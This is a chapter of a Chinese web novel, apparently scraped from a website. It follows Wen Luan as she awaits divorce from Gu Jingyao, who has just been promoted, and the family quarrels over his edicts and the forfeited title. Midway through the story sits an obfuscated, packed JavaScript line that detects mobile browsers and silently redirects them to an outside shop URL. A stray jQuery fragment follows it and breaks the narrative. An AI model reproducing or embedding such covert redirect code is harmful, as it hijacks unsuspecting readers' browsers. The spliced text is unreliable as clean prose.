“平煦!”她笑着跃下马车,忍不住问道:“你怎么回来了呢?”
“我就是你的啊。我不回来,去哪。”平煦不解地反问着她。
如果说顾景曜是一棵从不吐露心事的松柏,那么平煦便是一朵恣意绚烂的轮扶桑。他不掩饰自己的情意,甚至以喜欢她为一件值得骄傲的事。
温鸾心再大,也忍不住为他的回答怔住了一瞬。旋即,她顶着绯红的脸颊转移话题:“你的胳膊都好了吗?这些日子在哪里藏着了?”
“躲在一处农户家里养伤。”平煦伸出骨节分明的大手让她看道:“我把你送我的扳指卖了。所以,是你救了我的性命。”
他开口的时候,眼里光芒闪动,正映着温鸾娇艳的脸庞。
“也不能这么说。”温鸾有些不好意思地低下头。“要不是我,你也不会被通缉。不过还好,往后应当没事了。”
“我不在意。”平煦忽而指着不远处的另外两位俊奴道:“何况如果不逃跑,我不是与他们没有区别了?”
温鸾正讶异他心胸之开阔,却不想在抬眸的一瞬察觉到他眼底难以掩饰的醋意。她不由得暗自心惊,原来他对自己的心意已然到了这般程度。
坏了,俊奴是不是买的有点多了。温鸾暗自扼腕。不过,不得不承认,此刻的自己越发期待和离后的日子了。光是一个平煦,就让她的心不似从前平静了。更别提还有那两个一直未来得及仔细了解的男人。
她眼瞧着,其中很像顾景曜的那一个,如今腰身已经练得堪比平煦了。
是时候和离了。回府的路上,温鸾忍不住想着。
女人的直觉一向很准。果然两日后,双福早早回了侯府传话,说是世子爷得了擢升正一品的圣旨了。喜不自胜的宣平侯夫人当即放了十挂鞭,又立刻派人去请柳云湄过来一道庆贺。老侯爷倒是不太高兴,许是因为侯府的顶梁柱从自己换成了顾景曜。
至于温鸾,宣平侯夫人已然派人传了死命令,吩咐她在陶然院安生呆着,不许到前院热闹。
“这一天终于来了呢。”温鸾推开窗,此刻正是细雨过后出彩虹的时候,窗外一片夏日绮丽,又透着雨后的清凉,不知又多痛快。
“奴婢听说,老夫人已经暗自吩咐库房那边收拾您的嫁妆了。而世子爷……他昨夜压根就没回来,听说是去与柳夫子商议要事。奴婢看根本不是商议要事,世子爷分明是提前去见自己的岳丈了。”
“他一定很高兴,终于能娶自己真正喜欢的女人了。”温鸾想起那一日自己看见的场景。其实在即将走远的时候,她还隐约听见了顾景曜与柳云湄的两句对话。
柳云湄问他会不会后悔和离。顾景曜的答案简单却笃定。“不会。”
她又问他往后要如何对待她。顾景曜的答案是,倾尽全心。
果真是情重的两个人呢。“让她们一家人团聚吧。”温鸾重新捏起竹笔,就着外头的鲜艳景色,默然写起了话本。
鹿儿在旁没有吭声,因为她莫名从自家姑娘的语气里听出了一丝她自己都未察觉的哀伤。
与此同时,手握圣旨的顾景曜正坐在回府的马车里。那明黄的绸卷分量不重,可他握在手里,却觉得心绪极沉。此乃位极人臣的象征,是普天之下读书人都趋之若鹜的旨意。得了它,便是得了所有人的景仰。
只是无人知道,也无人能体会,他为着这一张圣旨付出了多少。是从踏进私塾那一日起,便昼夜不分的苦读,更是从步入官场那一天起,便夙兴夜寐地操劳。他宛如手边碧盏里的茶叶,从嫩芽开始饱受热蒸曝晒揉捻之毒,又被闷在罐中良久,这才有今日重展壮志之时。
从今日起,他终于可以不必顾忌父亲的侯爵之位,恣意地去做自己想做的事,去娶自己想娶的人了。幸好,云湄还在。
“世子爷,咱们到家了。”停车许久,马车里的人却迟迟没有动静,双福忍不住上前催道。
又过了一会,双福听见顾景曜淡淡地嗯了一声。
“世子爷您实在辛苦了。”双福叹息了一声道。他虽是仆从,但却追随顾景曜良久,因此对朝堂大事也略知一二。说实话,像顾景曜这般在短短六年之内从正五品擢升成正一品的朝臣,在历史上都几乎是闻所未闻的。
所以皇帝其实也背负了不小的压力。皇帝压力大,顾景曜身上的压力便更大。故而这些日子,为着这擢升圣旨不引得朝臣鼎沸,顾景曜几乎如陀螺般忙碌,恨不得一人拆成八个人来做事。
“无妨。”顾景曜吩咐他先行去书房好好保存好圣旨,便一人进了正院。正院的热闹不难想象,一袭正红色凤尾菊花纹对襟比甲的宣平侯夫人站在当中,左右分别是携手而立的顾景佑夫妇和笑意盎然的柳云湄。
这样团圆和睦的场景让他心头一松,方才的疲倦立刻扫去了大半。只是这样的欢喜并未维持多久,顾景曜很快便被众人急切的话语湮没。
“儿啊,这回你给娘挣了个诰命回来,娘真是高兴。”宣平侯夫人用手掸掸顾景曜的衣袍,蹙眉拿眼去寻他带回来的圣旨。按道理,擢升旨意一道,册封诰命一道,应该是两道。
“恭喜大哥了。”顾景佑笑得眼睛都小了一圈,抚掌道:“大哥也让我们开开眼界,我还没见过一百两黄金长什么模样呢。”
“瞧你这点出息。”秦筝嗔怪道:“你也学学大哥,人家大哥成了正一品,每月俸禄银子足有八十余两,更别提养廉银子。再瞧你,十五两就到头了。”
“二公子还小呢。”柳云湄在旁轻声凑着趣儿,又对着顾景曜明媚笑道:“父亲让我转告你,说成了正一品也不得骄矜,往后要更加爱民如子,勤勉刻苦才是。”
顾景曜不等答话,耳边又传来母亲焦躁催促双福的声音。“你怎么才过来?怎么可能就一道圣旨呢?另一道呢?莫不是你给丢了吧。”
“那金子丢没丢啊?”秦筝脸色一白道。
“那些黄白之物也无甚要紧,只要圣旨没丢了就好。”柳云湄柔柔看向顾景曜,眼底闪着星星点点光彩。“景曜,那圣旨可在?我能看看吗?”
……
众人七嘴八舌说着,顾景曜一概静静听了,却统统未曾回答,只是冲着李氏稍稍欠身道:“圣旨和诰命的事一会再说吧,儿子先回书房更衣了。”
虽说他这样平静的态度让众人有些难以接受,不过这倒也符合顾景曜素日行事的风格。
“是,换了官服,松快松快。”宣平侯夫人依旧眉开眼笑。“你快去快回,母亲等着看那诰命旨意呢。”
顾景曜领命而去,却觉心头有一丝不快。只是,他不喜欢这种矫情之感,便将这重心思压了下来。
而再抬眸,瞧见的便是神清气爽的温鸾。只见她正坐在廊下看花,穿的分明是件很家常的衣裳,可平白就给人一种仙女坠落凡尘之感。再加上那分明上扬的唇角,让她愈发明艳动人。
因知道要和离,顾景曜已经两日不曾见她,此刻遇上,自然不能不开口。于是他喉结滚动了一下,轻声道:“你仿佛很高兴。”
“能见到你,当然高兴。”如今的温鸾对于调戏顾景曜这件事已经做得得心应手。果然,他的眼眸立刻深了深。
温鸾旋即笑颜如花,起身翻滚裙裾,眼眸慧黠问道:“所以,顾大人,您打算奖励自己什么?”
“奖励?”
“当然了。得了正一品,多不容易,怎么不应该奖励自己呢?”
顾景曜望着她宝石般闪亮的双眸,顿了顿,漫声问道:“如若是你,打算如何奖励自己?”
“当然是美酒佳肴,华服锦衣了。”温鸾说着话,晃荡着手里钱袋道:“喏,你若是没银子,我请你吃顿好的怎么样?”
她是真心话,倒不是因为对他有什么感情,只是单纯觉得升了正一品这事,的确不容易。
顾景曜摇摇头,视线不自觉落在她过分鼓囊的钱袋上。
糟了,高兴过头了。温鸾心里一急,赶紧抱住钱袋解释:“你别误会啊,这是我的嫁妆,可不是府里的银子。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104311|149724||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
顾景曜被她护银子的模样逗笑,随即摇头道:“我不是这个意思。”
“那就好。”温鸾想想顾景曜的为人,也觉得自己过于紧张了,不过还是忍不住补道:“那就好。我不惦记你的黄金,你也别惦记我的银子。”
顾景曜理所应当地点头,很快反应过来,原来她是什么都知道的。只是,虽然知道,却和旁人都不一样。
他忽而明白自己方才那一丝矫情从何而来了,因为他所期待的,其实并非那些贺喜,而是一句关切问候。可偏偏前厅那些人无人在意。反倒是温鸾……
他眼眸愈发深沉,语气里却未见波澜。“我还有事,改日再一道用膳吧。不过,你若想去前院……”
“我不想去了。”温鸾连连摆手道:“我这边,还有些事要做。”
前院在做什么,两个人都心知肚明。而温鸾这会选择不过去,顾景曜却觉得有些意外。难道她知道什么了?这个念头不过稍稍在脑海中出现,温鸾那张艳美脸庞已经跃入眼帘。
“夫君,虽是庆祝喜事,可鸾儿不许你跟那位柳姑娘多说话哦。这些日子,她来得未免太勤了些呢。”
一句话,打消了顾景曜的疑心。
“好,我会做到。”他毫不犹豫地答应下来,接着便连衣裳都没换,径直回了前厅。这会前厅愈发热闹,只是这热闹大半是因为争吵喧杂,尤其是当中那急赤白脸的李琼之。不用说,自是因为那诰命圣旨之事。在她旁边,顾景佑和秦筝七嘴八舌劝着。
至于柳云湄,此刻正静静抚摸着那擢升圣旨,神色婉转如月。
这场景,双福看了也忍不住心凉。竟没一人记得世子爷这些日子不眠不休,连眼窝都熬青了。可这些人,要么惦记诰命,要么惦记银子,哪里有一个真心关怀世子爷呢。哪怕劝他先去歇息片刻也好啊。
而这会顾景曜一出现,众人立刻涌上来。不过不等她们开口,顾景曜已然冲着宣平侯夫人稍稍欠身:“儿子实在疲累,今日便不随母亲庆贺了。对了,黄金放在书房,母亲派人去取便是。至于诰命,因本是温鸾的,既然她得不到,儿子已当场向陛下辞了。”
一句话,宛若惊雷。可不等那雷炸开,顾景曜已和然问礼,转身离了院子。
双福这才暗自舒了一口气。要是世子爷再熬下去,只怕人都熬坏了。这样才好。
可双福明白,众人却一片傻眼,皆不知发生了什么。“方才不还是好好的吗?”“是啊,大哥这是怎么了?”“娘,是不是大哥真是累了?”“他累点怎么了,我安排了一上午的宴席,我就不累了?哼,我养他一场,竟连个诰命都配不得了?”
“可是娘,您不是有诰命在身吗?”顾景佑反问。
“那怎么能一样,你懂什么。”宣平侯夫人恨恨道。
这会,柳云湄忽而幽幽开口,看着跪在地上的双福问道:“我看事情没那么简单吧。双福,世子爷方才去换衣裳的时候,可见过什么人?”
双福一怔,本不想作答,可抬眸瞧见宣平侯夫人正一脸凶狠望着自己,于是只得道:“回柳姑娘的话,世子爷方才碰见世子夫人了。至于二人说了什么,奴才离得远,实在没听见。”
“还能说什么,定是说了些不中听的话,惹得曜儿不高兴,连宴席都不顾了。”宣平侯夫人气得咬牙。
“她说什么不要紧。”柳云湄的声音愈发幽远酸涩。“要紧的是,她的话,对世子爷来说,就这般重要么。方才还打算与我们一道宴饮,这会,却因为她,把我们这些人都晾在这……”
“这……”双福挠挠头。
而顾景佑脱口便要反驳,却已被秦筝死死拽住了袖口。至于宣平侯夫人,这会一心惦记自己的诰命,只拍着巴掌恼恨,也未顾得上柳云湄的一腔恹恹。于是她这一日,到底是黯然神伤而回,竟连晚膳都没用上一口。
柳夫子心疼女儿,索性于当晚求见了老侯爷,又在话里话外暗示了世子爷和离再娶之事。老侯爷当场大怒,送走了柳夫子后,便召来顾景曜问话。